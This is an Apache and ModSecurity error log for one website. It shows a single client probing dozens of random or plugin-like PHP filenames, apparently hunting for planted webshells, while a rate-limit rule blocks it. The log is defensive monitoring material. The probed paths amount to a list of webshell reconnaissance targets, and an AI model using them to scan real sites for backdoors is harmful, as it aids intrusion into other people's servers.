[Sat Apr 11 09:02:22.117072 2026] [:error] [pid 13721:tid 13747] [client 20.111.36.240:35692] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugin-wp.php"] [unique_id "admdngtCFIRABSMvNE7BlQAAABc"]
[Sat Apr 11 09:02:23.755189 2026] [:error] [pid 13721:tid 13738] [client 20.111.36.240:21971] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uplozyu.php"] [unique_id "admdnwtCFIRABSMvNE7BnwAAAA4"]
[Sat Apr 11 09:02:25.363729 2026] [:error] [pid 13721:tid 13726] [client 20.111.36.240:22013] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uplozyu.php"] [unique_id "admdoQtCFIRABSMvNE7BpgAAAAI"]
[Sat Apr 11 09:02:26.495476 2026] [:error] [pid 13635:tid 13700] [client 20.111.36.240:21981] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uplozyu.php"] [unique_id "admdosCZeuwIgRXgWykDGgAAAYg"]
[Sat Apr 11 09:02:27.264295 2026] [:error] [pid 13634:tid 13665] [client 20.111.36.240:40072] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uplozyu.php"] [unique_id "admdo3aB01qKsmKvEg82hwAAAUA"]
[Sat Apr 11 09:02:28.329123 2026] [:error] [pid 13721:tid 13725] [client 20.111.36.240:38596] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4oivIQALaOZ.php"] [unique_id "admdpAtCFIRABSMvNE7BrwAAAAE"]
[Sat Apr 11 09:02:29.199505 2026] [:error] [pid 13633:tid 13640] [client 20.111.36.240:19315] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4oivIQALaOZ.php"] [unique_id "admdpWaKDA-4b93MwJx8NgAAAQM"]
[Sat Apr 11 09:02:29.885571 2026] [:error] [pid 13634:tid 13680] [client 20.111.36.240:19289] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4oivIQALaOZ.php"] [unique_id "admdpXaB01qKsmKvEg82kAAAAU8"]
[Sat Apr 11 09:02:32.079723 2026] [:error] [pid 13635:tid 13699] [client 20.111.36.240:21953] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4oivIQALaOZ.php"] [unique_id "admdqMCZeuwIgRXgWykDLgAAAYc"]
[Sat Apr 11 09:02:32.921971 2026] [:error] [pid 13634:tid 13677] [client 20.111.36.240:21958] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lpktuneq.php"] [unique_id "admdqHaB01qKsmKvEg82mgAAAUw"]
[Sat Apr 11 09:02:33.869829 2026] [:error] [pid 13633:tid 13646] [client 20.111.36.240:24622] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lpktuneq.php"] [unique_id "admdqWaKDA-4b93MwJx8RQAAAQk"]
[Sat Apr 11 09:02:35.218380 2026] [:error] [pid 13721:tid 13733] [client 20.111.36.240:17311] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lpktuneq.php"] [unique_id "admdqwtCFIRABSMvNE7BvwAAAAk"]
[Sat Apr 11 09:02:36.128223 2026] [:error] [pid 13721:tid 13742] [client 20.111.36.240:24374] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lpktuneq.php"] [unique_id "admdrAtCFIRABSMvNE7BxgAAABI"]
[Sat Apr 11 09:02:36.767400 2026] [:error] [pid 13635:tid 13699] [client 20.111.36.240:3949] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5cnobsvIfGg.php"] [unique_id "admdrMCZeuwIgRXgWykDQQAAAYc"]
[Sat Apr 11 09:02:37.906550 2026] [:error] [pid 13633:tid 13659] [client 20.111.36.240:11762] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5cnobsvIfGg.php"] [unique_id "admdrWaKDA-4b93MwJx8SQAAARY"]
[Sat Apr 11 09:02:38.877580 2026] [:error] [pid 13635:tid 13702] [client 20.111.36.240:17343] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5cnobsvIfGg.php"] [unique_id "admdrsCZeuwIgRXgWykDSwAAAYo"]
[Sat Apr 11 09:02:40.164025 2026] [:error] [pid 13634:tid 13688] [client 20.111.36.240:34275] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5cnobsvIfGg.php"] [unique_id "admdsHaB01qKsmKvEg82uAAAAVY"]
[Sat Apr 11 09:02:41.304189 2026] [:error] [pid 13634:tid 13672] [client 20.111.36.240:3952] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-widgets.php"] [unique_id "admdsXaB01qKsmKvEg82vwAAAUc"]
[Sat Apr 11 09:02:42.420481 2026] [:error] [pid 13634:tid 13679] [client 20.111.36.240:35684] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-widgets.php"] [unique_id "admdsnaB01qKsmKvEg82wgAAAU4"]
[Sat Apr 11 09:02:44.357113 2026] [:error] [pid 13721:tid 13747] [client 20.111.36.240:16098] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-widgets.php"] [unique_id "admdtAtCFIRABSMvNE7B5QAAABc"]
[Sat Apr 11 09:02:45.577810 2026] [:error] [pid 13635:tid 13702] [client 20.111.36.240:16066] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-widgets.php"] [unique_id "admdtcCZeuwIgRXgWykDZQAAAYo"]
[Sat Apr 11 09:02:48.154760 2026] [:error] [pid 13633:tid 13650] [client 20.111.36.240:33668] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tsconfig.php"] [unique_id "admduGaKDA-4b93MwJx8VwAAAQ0"]
[Sat Apr 11 09:02:49.786988 2026] [:error] [pid 13635:tid 13704] [client 20.111.36.240:26259] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tsconfig.php"] [unique_id "admducCZeuwIgRXgWykDcQAAAYw"]
[Sat Apr 11 09:02:50.787314 2026] [:error] [pid 13633:tid 13644] [client 20.111.36.240:21376] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tsconfig.php"] [unique_id "admdumaKDA-4b93MwJx8WgAAAQc"]
[Sat Apr 11 09:02:51.771614 2026] [:error] [pid 13721:tid 13744] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/tsconfig.php
[Sat Apr 11 09:02:52.034750 2026] [:error] [pid 13721:tid 13725] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/ptFWN5XHUb1.php
[Sat Apr 11 09:02:52.271650 2026] [:error] [pid 13721:tid 13742] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/YpWD4kv2sPG.php
[Sat Apr 11 09:02:52.507662 2026] [:error] [pid 13721:tid 13730] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/turbo.php
[Sat Apr 11 09:02:52.882532 2026] [:error] [pid 13721:tid 13745] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Sat Apr 11 09:02:53.128618 2026] [:error] [pid 13721:tid 13740] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/SE6yfkFKuQA.php
[Sat Apr 11 09:02:53.386493 2026] [:error] [pid 13721:tid 13724] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/6Vtfo6i9f2.php
[Sat Apr 11 09:02:53.621912 2026] [:error] [pid 13721:tid 13727] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/veoblmpa.php
[Sat Apr 11 09:02:53.857446 2026] [:error] [pid 13721:tid 13738] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-pagebuilders-1QlZPC.php
[Sat Apr 11 09:02:54.093340 2026] [:error] [pid 13721:tid 13748] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/levyzxsb.php
[Sat Apr 11 09:02:54.365761 2026] [:error] [pid 13721:tid 13739] [client 20.111.36.240:26502] File does not exist: /usr/local/apache/htdocs/suspended-page/HtQmJOArI4R.php
[Sat Apr 11 09:02:54.600173 2026] [:error] [pid 13721:tid 13730] [client 20.111.36.240:26502] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2whl5XBpvzE.php"] [unique_id "admdvgtCFIRABSMvNE7CJgAAAAY"]
[Sat Apr 11 09:02:55.542893 2026] [:error] [pid 13721:tid 13745] [client 20.111.36.240:39366] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2whl5XBpvzE.php"] [unique_id "admdvwtCFIRABSMvNE7CJwAAABU"]
[Sat Apr 11 09:02:57.047605 2026] [:error] [pid 13635:tid 13707] [client 20.111.36.240:27354] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2whl5XBpvzE.php"] [unique_id "admdwcCZeuwIgRXgWykDkAAAAY8"]
[Sat Apr 11 09:02:58.191993 2026] [:error] [pid 13634:tid 13684] [client 20.111.36.240:34035] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2whl5XBpvzE.php"] [unique_id "admdwnaB01qKsmKvEg820AAAAVM"]
[Sat Apr 11 09:02:59.312405 2026] [:error] [pid 13635:tid 13696] [client 20.111.36.240:20130] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtMi25FrDCR.php"] [unique_id "admdw8CZeuwIgRXgWykDlwAAAYQ"]
[Sat Apr 11 09:03:00.772490 2026] [:error] [pid 13633:tid 13641] [client 20.111.36.240:17132] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtMi25FrDCR.php"] [unique_id "admdxGaKDA-4b93MwJx8fQAAAQQ"]
[Sat Apr 11 09:03:02.052419 2026] [:error] [pid 13634:tid 13671] [client 20.111.36.240:16327] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtMi25FrDCR.php"] [unique_id "admdxnaB01qKsmKvEg822wAAAUY"]
[Sat Apr 11 09:03:02.721124 2026] [:error] [pid 13634:tid 13685] [client 20.111.36.240:27042] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jtMi25FrDCR.php"] [unique_id "admdxnaB01qKsmKvEg824AAAAVQ"]
[Sat Apr 11 09:03:03.859841 2026] [:error] [pid 13633:tid 13642] [client 20.111.36.240:39421] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/avTptOckufV.php"] [unique_id "admdx2aKDA-4b93MwJx8gwAAAQU"]
[Sat Apr 11 09:03:05.159511 2026] [:error] [pid 13633:tid 13647] [client 20.111.36.240:37949] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/avTptOckufV.php"] [unique_id "admdyWaKDA-4b93MwJx8jAAAAQo"]
[Sat Apr 11 09:03:06.395928 2026] [:error] [pid 13634:tid 13684] [client 20.111.36.240:27036] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/avTptOckufV.php"] [unique_id "admdynaB01qKsmKvEg827QAAAVM"]
[Sat Apr 11 09:03:08.128298 2026] [:error] [pid 13633:tid 13654] [client 20.111.36.240:21931] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/avTptOckufV.php"] [unique_id "admdzGaKDA-4b93MwJx8kAAAARE"]
[Sat Apr 11 09:03:09.506466 2026] [:error] [pid 13633:tid 13651] [client 20.111.36.240:17145] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/FZH64c5eNOX.php"] [unique_id "admdzWaKDA-4b93MwJx8lAAAAQ4"]
[Sat Apr 11 09:03:10.918227 2026] [:error] [pid 13635:tid 13697] [client 20.111.36.240:26274] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/FZH64c5eNOX.php"] [unique_id "admdzsCZeuwIgRXgWykDvgAAAYU"]
[Sat Apr 11 09:03:11.883018 2026] [:error] [pid 13635:tid 13693] [client 20.111.36.240:3109] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/FZH64c5eNOX.php"] [unique_id "admdz8CZeuwIgRXgWykDxAAAAYE"]
[Sat Apr 11 09:03:12.544429 2026] [:error] [pid 13635:tid 13700] [client 20.111.36.240:23531] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/FZH64c5eNOX.php"] [unique_id "admd0MCZeuwIgRXgWykDzAAAAYg"]
[Sat Apr 11 09:03:13.886155 2026] [:error] [pid 13635:tid 13708] [client 20.111.36.240:34031] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/K9s7LSHhmVd.php"] [unique_id "admd0cCZeuwIgRXgWykD1AAAAZA"]
[Sat Apr 11 09:03:15.030599 2026] [:error] [pid 13721:tid 13726] [client 20.111.36.240:17110] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/K9s7LSHhmVd.php"] [unique_id "admd0wtCFIRABSMvNE7CVAAAAAI"]
[Sat Apr 11 09:03:16.150689 2026] [:error] [pid 13635:tid 13715] [client 20.111.36.240:10963] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/K9s7LSHhmVd.php"] [unique_id "admd1MCZeuwIgRXgWykD1wAAAZc"]
[Sat Apr 11 09:03:17.216062 2026] [:error] [pid 13721:tid 13748] [client 20.111.36.240:34043] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/K9s7LSHhmVd.php"] [unique_id "admd1QtCFIRABSMvNE7CaQAAABg"]
[Sat Apr 11 09:03:18.613131 2026] [:error] [pid 13634:tid 13690] [client 20.111.36.240:22975] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-casper.php"] [unique_id "admd1naB01qKsmKvEg83FgAAAVg"]
[Sat Apr 11 09:03:19.742791 2026] [:error] [pid 13635:tid 13691] [client 20.111.36.240:10948] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-casper.php"] [unique_id "admd18CZeuwIgRXgWykD5gAAAYA"]
[Sat Apr 11 09:03:20.381498 2026] [:error] [pid 13633:tid 13647] [client 20.111.36.240:19716] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-casper.php"] [unique_id "admd2GaKDA-4b93MwJx8oAAAAQo"]
[Sat Apr 11 09:03:21.326075 2026] [:error] [pid 13721:tid 13724] [client 20.111.36.240:18379] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-casper.php"] [unique_id "admd2QtCFIRABSMvNE7CfwAAAAA"]
[Sat Apr 11 09:03:22.322070 2026] [:error] [pid 13721:tid 13730] [client 20.111.36.240:29010] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Curve25519-items.php"] [unique_id "admd2gtCFIRABSMvNE7ChAAAAAY"]
[Sat Apr 11 09:03:23.519814 2026] [:error] [pid 13721:tid 13728] [client 20.111.36.240:19750] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Curve25519-items.php"] [unique_id "admd2wtCFIRABSMvNE7ChgAAAAQ"]
[Sat Apr 11 09:03:24.325065 2026] [:error] [pid 13635:tid 13691] [client 20.111.36.240:35524] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Curve25519-items.php"] [unique_id "admd3MCZeuwIgRXgWykEAQAAAYA"]
